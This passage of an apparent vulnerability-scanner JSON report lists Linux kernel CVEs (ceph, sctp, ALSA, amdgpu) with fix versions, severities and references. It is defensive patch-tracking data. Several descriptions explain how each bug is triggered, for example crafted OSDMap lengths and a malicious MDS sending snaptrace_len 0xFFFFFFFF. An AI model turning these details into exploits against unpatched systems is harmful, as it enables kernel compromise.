"DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68159", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:97d9fdbf23815f305eae0800b92ad60eae594dc442ed054382d02c03bc504d23", "Title": "kernel: Linux kernel: libceph stack out-of-bounds write via crafted OSDMap", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibceph: bound pg_{temp,upmap,upmap_items} length to CEPH_PG_MAX_SIZE\n\n__decode_pg_temp() decodes an user-controlled length but only rejects\nvalues large enough to overflow the allocation; it does not bound it to\nCEPH_PG_MAX_SIZE. The helper backs both pg_temp and pg_upmap decoding, and\napply_upmap()/get_temp_osds() later copy the decoded list into the fixed-size\non-stack array struct ceph_osds.osds[CEPH_PG_MAX_SIZE]. A monitor that sends\nan OSDMap with a pg_temp/pg_upmap entry longer than 32 thus causes a stack\nout-of-bounds write.\n\nAn OSD set for a single PG can never exceed CEPH_PG_MAX_SIZE, so reject longer\nentries at decode time. The bound is well below the old overflow threshold, so\nit also covers the allocation-size overflow the previous check guarded against.\n\n BUG: KASAN: stack-out-of-bounds in ceph_pg_to_up_acting_osds\n Write of size 4 ... by task exploit\n kasan_report (mm/kasan/report.c:595)\n ceph_pg_to_up_acting_osds (net/ceph/osdmap.c:2617 net/ceph/osdmap.c:2833)\n calc_target (net/ceph/osd_client.c:1638)\n __submit_request (net/ceph/osd_client.c:2394)\n ceph_osdc_start_request (net/ceph/osd_client.c:2490)\n ceph_osdc_call (net/ceph/osd_client.c:5164)\n rbd_dev_image_probe (drivers/block/rbd.c:6899)\n do_rbd_add (drivers/block/rbd.c:7138)\n ...\n kernel BUG at net/ceph/osdmap.c:2670!\n\n[ idryomov: do the same in __decode_pg_upmap_items() ]", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-68159", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/stable/c/42bc06c67d94d5f2a6b33294b0c4b07d8a47c515", "https://git.kernel.org/stable/c/4daf06456677177f2a6044729abac59c1b49e87b", "https://git.kernel.org/stable/c/590b07ceea138d49c9b64f65d263aa902d3b4730", "https://git.kernel.org/stable/c/66eec4af1e080b695229c9a20635648a6d12fedf", "https://git.kernel.org/stable/c/9f00f9cf2be293efe899db67dc5272e3a9c62717", "https://git.kernel.org/stable/c/d5650ddbd4d42c1a916c8fe1a4c4cb573ef810a1", "https://git.kernel.org/stable/c/e36663145abd7024f0281dfb22fdef65f185845b", "https://git.kernel.org/stable/c/ebdf4b4f3b1474079980a2e5cd79ad65fb54db57", "https://linux.oracle.com/cve/CVE-2026-68159.html", "https://linux.oracle.com/errata/ELSA-2026-72468.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-68159", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68159" ], "PublishedDate": "2026-08-10T13:20:02.187Z", "LastModifiedDate": "2026-10-19T21:17:56.23Z" }, { "VulnerabilityID": "CVE-2026-68160", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68160", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d35e7096946283cc5cde163689269f2107d6f9c085b607b4b6d8e965a7840a4e", "Title": "kernel: ceph: fix pre-auth out-of-bounds read on snaptrace in ceph_handle_caps()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: fix pre-auth out-of-bounds read on snaptrace in ceph_handle_caps()\n\nceph_handle_caps() reads snap_trace_len from the wire-format\nceph_mds_caps header and uses it unconditionally to build a fake\nend pointer (snaptrace + snaptrace_len) that is later handed to\nceph_update_snap_trace() in the CEPH_CAP_OP_IMPORT case:\n\n snaptrace = h + 1;\n snaptrace_len = le32_to_cpu(h-\u003esnap_trace_len);\n p = snaptrace + snaptrace_len;\n ...\n case CEPH_CAP_OP_IMPORT:\n if (snaptrace_len) {\n ...\n if (ceph_update_snap_trace(mdsc, snaptrace,\n snaptrace + snaptrace_len,\n false, \u0026realm)) { ... }\n\nceph_update_snap_trace() then decodes a struct ceph_mds_snap_realm\nfrom snaptrace using ceph_decode_need(\u0026p, e, sizeof(*ri), bad)\nwith the attacker-supplied fake end e == snaptrace + snaptrace_len.\nWith snaptrace_len == 0xFFFFFFFF the bound check is trivially\nsatisfied, ri = p reads sizeof(struct ceph_mds_snap_realm) past\nthe legitimate msg-\u003efront buffer, and ri-\u003enum_snaps /\nri-\u003enum_prior_parent_snaps then drive further out-of-bounds\nreads of the encoded snap arrays.\n\nThe eleven msg_version \u003e= 2 .. msg_version \u003e= 12 decoder blocks\nabove the op switch each catch this OOB through their\nceph_decode_*_safe() / ceph_decode_need() helpers, but they sit\nbehind a hdr.version-gated if, so a malicious or compromised\nMDS that sets msg-\u003ehdr.version = 1 reaches the IMPORT path with\nno version-gated decoder having validated snap_trace_len. The\nshape has been present since ceph_handle_caps() was introduced.\n\nValidate snap_trace_len against the message front buffer before\nconsuming it, using the canonical ceph_decode_need() / ceph_has_room()\nhelper. The helper bounds the length with subtraction (n \u003c= end - p,\nguarded by end \u003e= p) rather than pointer addition, so it is wrap-safe\nfor the attacker-controlled u32 length on 32-bit builds where\np + snap_trace_len could overflow the address space. This matches the\nrest of the ceph decode path (e.g. the pool_ns_len check a few lines\nbelow), and the existing goto bad cleanup already covers this exit\npath.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68160", "https://git.kernel.org/stable/c/03b417afce19ee6b6e61f1bbbbebac924c9f36d1", "https://git.kernel.org/stable/c/0c011137194036424e974677e0f1592e22a33d8c", "https://git.kernel.org/stable/c/4dbc71bcaf9a30abf3920a4e2cc4ed33bba78c02", "https://git.kernel.org/stable/c/71893c342a26bcff92eaab0b2b75d64aed19308a", "https://git.kernel.org/stable/c/9081c71796724ffe96cba253f68fbe42363c5295", "https://git.kernel.org/stable/c/a4228b93706fb74a484e6ffb271c1cc2af3a2ddb", "https://git.kernel.org/stable/c/cc93f68a31c9b831abf2db8647b5f5b10329d793", "https://git.kernel.org/stable/c/f913192fc782288e060dafc329b2346934be34cc", "https://linux.oracle.com/cve/CVE-2026-68160.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081003-CVE-2026-68160-2d5b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68160", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68160" ], "PublishedDate": "2026-08-10T13:20:02.3Z", "LastModifiedDate": "2026-10-19T21:17:56.417Z" }, { "VulnerabilityID": "CVE-2026-68162", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68162", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:27f1df847354985d1b2aee1b1069cbdcfa79326b4655d4a2fa9d2423991a5070", "Title": "kernel: sctp: avoid auth_enable sysctl UAF during netns teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: avoid auth_enable sysctl UAF during netns teardown\n\nproc_sctp_do_auth() updates the SCTP control socket after changing\nnet.sctp.auth_enable. The handler gets the per-net SCTP state from\nctl-\u003edata, so an already opened sysctl file can still target a network\nnamespace while that namespace is being torn down.\n\nSCTP previously registered its per-net sysctls from sctp_defaults_init(),\nwhile the control socket is created later from sctp_ctrlsock_init(). This\nexposed a window during initialization where auth_enable was writable\nbefore net-\u003esctp.ctl_sock existed, and a teardown window where auth_enable\nstayed writable after inet_ctl_sock_destroy() had released the control\nsocket.\n\nMove the per-net SCTP sysctl registration into sctp_ctrlsock_init() after\nsctp_ctl_sock_init() succeeds, and unregister the sysctl table before\ndestroying the control socket in sctp_ctrlsock_exit(). If sysctl\nregistration fails after the control socket was created, destroy the\ncontrol socket in the same init path.\n\nMake sctp_sysctl_net_unregister() tolerate a missing header and clear the\nsaved pointer so init-error and exit paths can safely share the unregister\nhelper.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-68162", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/stable/c/158f3cc332dc53f43ec20060233d7c3cecd6d912", "https://git.kernel.org/stable/c/19573dcddb8819fd68d6cd1f916c1c99c3fa4ff4", "https://git.kernel.org/stable/c/626bda8cfe43dff19a9833ff6ba055a817b5455c", "https://git.kernel.org/stable/c/66700c0719675e0e118ae83b2d7168dacd69dd3d", "https://git.kernel.org/stable/c/a50e73488e0bbdd262b3be3c9a1d8dd078382381", "https://git.kernel.org/stable/c/be6aae9d1b91c603adb35872d37d40e83daf8758", "https://git.kernel.org/stable/c/ceb7190b5c873d4a1267a1600c5aa52c600e929f", "https://git.kernel.org/stable/c/f8d5e7846025f4ab15a461235f8ebae9094a361a", "https://git.kernel.org/stable/c/fd66854a22661929245f3d2b244c432bc8b1a150", "https://linux.oracle.com/cve/CVE-2026-68162.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://lore.kernel.org/linux-cve-announce/2026081004-CVE-2026-68162-086a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68162", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68162" ], "PublishedDate": "2026-08-10T13:20:02.57Z", "LastModifiedDate": "2026-10-19T21:17:56.77Z" }, { "VulnerabilityID": "CVE-2026-68202", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68202", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bad71ba2db8f7cf81b5bf4b424c315171c67b8e3763c51e2d7451ae4e8451602", "Title": "kernel: ALSA: seq: close a re-opened queue timer in the destructor", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: seq: close a re-opened queue timer in the destructor\n\nqueue_delete() closes the queue timer, then frees it. snd_seq_timer_close()\nclears q-\u003etimer-\u003etimeri. snd_use_lock_sync() then drains borrowers, and\nsnd_seq_timer_delete() frees q-\u003etimer.\n\nA borrower can re-open the timer inside that window. A SET_QUEUE_CLIENT\nthat took a queueptr() use_lock reference before the queue was unlinked\nruns snd_seq_timer_open() after the close. Open refuses re-open only while\ntimeri is set, and the close just cleared it, so it re-opens timeri.\n\nsnd_seq_timer_delete() does not close that instance. Its snd_seq_timer_stop()\nis a no-op, because running was cleared first. So it frees q-\u003etimer with the\ninstance still live. The queue is freed next.\n\nThe instance stays on the global timer with callback_data pointing at the\nfreed queue. A non-owner START on the unlocked queue arms it. The next tick\nderefs the freed queue in snd_seq_timer_interrupt().\n\nReachable by an unprivileged user with access to /dev/snd/seq. No CAP and\nno queue ownership required.\n\nClose any lingering instance in the destructor. There, -\u003etimeri can no\nlonger change: the queue is unlinked and all use_lock borrowers have\ndrained, so no snd_seq_queue_use() can re-open it. Close it before clearing\nq-\u003etimer. snd_timer_close() waits for any in-flight snd_seq_timer_interrupt()\nto finish, and that callback still reads q-\u003etimer (via snd_seq_check_queue()),\nso q-\u003etimer must stay valid until it drains.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:87805", "https://access.redhat.com/security/cve/CVE-2026-68202", "https://bugzilla.redhat.com/2360273", "https://bugzilla.redhat.com/2376106", "https://bugzilla.redhat.com/2507038", "https://bugzilla.redhat.com/2513245", "https://bugzilla.redhat.com/2513356", "https://bugzilla.redhat.com/2514462", "https://bugzilla.redhat.com/2524492", "https://bugzilla.redhat.com/2524501", "https://bugzilla.redhat.com/show_bug.cgi?id=2360273", "https://bugzilla.redhat.com/show_bug.cgi?id=2376106", "https://bugzilla.redhat.com/show_bug.cgi?id=2507038", "https://bugzilla.redhat.com/show_bug.cgi?id=2513245", "https://bugzilla.redhat.com/show_bug.cgi?id=2513356", "https://bugzilla.redhat.com/show_bug.cgi?id=2514462", "https://bugzilla.redhat.com/show_bug.cgi?id=2524492", "https://bugzilla.redhat.com/show_bug.cgi?id=2524501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22063", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68202", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68299", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68448", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80536", "https://errata.almalinux.org/9/ALSA-2026-87805.html", "https://errata.rockylinux.org/RLSA-2026:87805", "https://git.kernel.org/stable/c/24f0cabf173539f048946c8fc221131dc221f277", "https://git.kernel.org/stable/c/2c4dc0ed50b05cd847a4b34b8cebf0775f19aeb9", "https://git.kernel.org/stable/c/31a6163e301d832060f8236f1ed17cbc1ca198df", "https://git.kernel.org/stable/c/6a10025c7fd09a7d2af37a3ae1da188569fce470", "https://git.kernel.org/stable/c/7478ef94b49bc9789cf1a003deec58b42283dde4", "https://git.kernel.org/stable/c/9d9be6fc30f384f92c4e1b8ed40bd9d4796b7833", "https://git.kernel.org/stable/c/b7feeaca1f53b10df9b4de9eaf611767ca70dc92", "https://git.kernel.org/stable/c/fb40d03ed792a8a8bf77aa0ee15df57b0ff78b07", "https://linux.oracle.com/cve/CVE-2026-68202.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://lore.kernel.org/linux-cve-announce/2026081011-CVE-2026-68202-e7fa@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68202", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68202" ], "PublishedDate": "2026-08-10T13:20:07.763Z", "LastModifiedDate": "2026-10-19T21:17:58.087Z" }, { "VulnerabilityID": "CVE-2026-68236", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68236", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:266160cab85e50d4a05fd52348f5b5220d9c39f9d0d5c63d47d0702da55027b3", "Title": "kernel: drm/amd/display: set new_stream to NULL after release", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: set new_stream to NULL after release\n\nIn dm_update_crtc_state(), the skip_modeset path releases new_stream\nvia dc_stream_release() but does not set the pointer to NULL.\n\nIf a later error (e.g., color management failure) triggers the fail\nlabel, the error path calls dc_stream_release() again on the same\ndangling pointer, causing a double release and potential use-after-free.\n\nFix this by setting new_stream to NULL after the initial release.\n\n(cherry picked from commit 99f3af19073b3ddbfd96e789124cce12c4277b28)", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, 